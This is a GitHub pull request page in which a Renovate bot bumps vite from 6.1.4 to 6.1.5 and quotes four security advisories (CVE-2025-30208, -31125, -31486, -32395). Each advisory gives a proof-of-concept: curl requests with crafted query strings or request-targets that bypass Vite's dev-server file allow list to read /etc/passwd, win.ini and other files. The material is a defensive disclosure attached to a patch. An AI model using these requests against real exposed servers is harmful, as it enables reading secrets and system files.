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@renovate renovate bot commented Apr 11, 2025

This PR contains the following updates:

Package Type Update Change OpenSSF
vite (source) devDependencies patch 6.1.4 -> 6.1.5 OpenSSF Scorecard

GitHub Vulnerability Alerts

CVE-2025-30208

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2025-31125

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

  • base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)
  • content of non-allowed files is exposed using ?raw?import

/@&#8203;fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Example full URL http://localhost:5173/@&#8203;fs/C:/windows/win.ini?import&?inline=1.wasm?init

CVE-2025-31486

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected..

Details

.svg

Requests ending with .svg are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@&#8203;fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

CVE-2025-32395

Summary

The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact

Only apps with the following conditions are affected.

  • explicitly exposing the Vite dev server to the network (using --host or server.host config option)
  • running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read /etc/passwd

curl --request-target /@&#8203;fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

Release Notes

vitejs/vite (vite)

v6.1.5

Compare Source

Please refer to CHANGELOG.md for details.


Configuration

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This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot requested review from a team as code owners April 11, 2025 16:23
@renovate renovate bot requested a review from GenPage April 11, 2025 16:23
@renovate renovate bot added the security label Apr 11, 2025
@renovate renovate bot requested review from lukemassa and nitrocode April 11, 2025 16:23
@renovate renovate bot enabled auto-merge (squash) April 11, 2025 16:23
@dosubot dosubot bot added dependencies PRs that update a dependency file javascript Pull requests that update Javascript code labels Apr 11, 2025
@renovate renovate bot force-pushed the renovate/main-npm-vite-vulnerability branch from 3b46e72 to 52fdb77 Compare April 11, 2025 16:31
@renovate renovate bot force-pushed the renovate/main-npm-vite-vulnerability branch from 52fdb77 to 3586fbf Compare April 11, 2025 16:45
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renovate bot commented Apr 11, 2025

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

@renovate renovate bot merged commit 0833b73 into main Apr 11, 2025
32 of 34 checks passed
@renovate renovate bot deleted the renovate/main-npm-vite-vulnerability branch April 11, 2025 18:48
@dosubot dosubot bot added the lgtm This PR has been approved by a maintainer label Apr 11, 2025
javking07 pushed a commit to javking07/atlantis that referenced this pull request Apr 12, 2025
…tlantis#5524)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: PePe Amengual <[email protected]>
Signed-off-by: JavinForrester <[email protected]>
joe1981al pushed a commit to joe1981al/atlantis that referenced this pull request Jun 20, 2025
…tlantis#5524)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: PePe Amengual <[email protected]>
Signed-off-by: Joseph McDonald <[email protected]>
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